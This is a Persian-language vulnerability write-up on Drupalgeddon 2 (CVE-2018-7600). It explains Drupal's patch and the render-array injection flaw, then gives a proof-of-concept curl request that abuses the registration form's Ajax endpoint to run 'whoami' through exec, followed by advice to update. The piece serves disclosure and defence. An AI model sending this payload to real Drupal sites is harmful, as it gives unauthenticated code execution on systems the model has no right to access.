آسیب پذیری خطرناک REMOTE CODE EXECUTE در دروپال ( SA-CORE-2018-002 )

دسته : آسیب پذیری

نویسنده :

در تاریخ ۱۳۹۷/۰۱/۰۸ آسیب پذیری خطرناکی از نوع Remote Code Execute به اسم مستعار  Drupalgeddon 2  یا (SA-CORE-2018-002 / CVE-2018-7600), در دروپال منتشر شد که این آسیب پذیری بدون نیاز به سطح دسترسی به صورت Remote در هسته اصلی دروپال در تمامی ورژن های: Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 وجود دارد.

هکر ها پس از انتشار و عمومی شدن کدهای مخرب برای سواستفاده از آسیب پذیری بحرانی اخیر در دروپال وب سایت هایی که همچنان آسیب پذیر بوده و سیستم خود را به نسخه ۷٫۵۸ و ۸٫۵۱ به روز رسانی نکرده اند حملات را شروع کرده اند. دروپال برای جلوگیری از حمله به میلیون ها سایت، ورژن جدیدی بدون هیچ گونه توضیحات فنی از آسیب پذیری ارائه کرد تا تمامی وبسایت ها قبل از انتشار عمومی اطلاعات فنی و اکسپلویت سیستم های خود را به روز رسانی و ایمن کنند . در نسخه جدید یک فایل جدید به نام request-sanitizer.inc در پوشه includes اضافه شده است که حاوی توابعی برای تمیز کردن ورودی کاربر از طریق GET، POST یا Cookie است.

تابع “sanitize” پارامترهای فرستاده شده از طریق GET، POST و کوکی را گرفته و درخواست را به تابع stripDangerousValues ارسال می کند  و خروجی آنها را  تمیز می کند.

تابع اصلی که کار پالایش ورودی ها را انجام می‌دهد تابع stripDangerousValues می باشد که در بالا به کدهای آن اشاره شده است. این تابع بررسی می‌کند که مقدار ورودی (پارامتر input) آرایه است یا خیر، درصورتی که آرایه باشد، بررسی می‌شود که آیا با # آغاز می‌شود یا خیر. در نهایت اگر با # شروع شده باشد، این کاراکتر حذف شده و مقدار پالایش شده بازگردانده می‌شود.

محققان امنیتی شرکت های Check Point و Dofinity  در تاریخ ۱۳۹۷/۰۱/۲۳ توضیحات فنی برای سو استفاده از این آسیب پذیری  (CVE-2018-7600) را منتشرکردند و کد سو استفاده از آن به صورت عمومی منتشر شده است.

سواستفاده از آسیب پذیری (POC) :

سو استفاده از این  آسیب پذیری از طریق تزریق آرایه و  رندر شدن  فرم  به وجود می آید . در صفحه ثبت نام در دروپال ورژن ۸٫۵ فیلد ” ایمیل ” به درستی کنترل نشده و مهاجمان  از طریق این فرم می توانند از آسیب پذیری دروپال استفاده کنند.

برای سو استفاده از این آسیب پذیری  در فرم user_register_form یک درخواست با آرایه مخرب به صورت Ajax API ارسال می کنیم که در  نتیجه تزریق دستورات اجرا می شود و در هنگام رندر ، خروجی دستور اجرا شده نمایش داده می شود.

SA-CORE-2018-002

 

POC:

curl -d “mail%5B%23markup%5D=whoami&mail%5B%23type%5D=markup&form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec” -X POST “http://localhost/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax”

 

به مدیران وبسایت هایی که همچنان از نسخه آسیب آسیب پذیر دروپال استفاده می کنند پیشنهاد می شود که هر چه زود تر نسخه دروپال خود را به ۷٫۵۸ یا ۸٫۵٫۱ به روز رسانی کنند تا وب سایت شما مورد حمله نفوذگران قرار نگیرد

 

منابع :

https://www.drupal.org/sa-core-2018-002

https://nvd.nist.gov/vuln/detail/CVE-2018-7600

https://research.checkpoint.com/uncovering-drupalgeddon-2/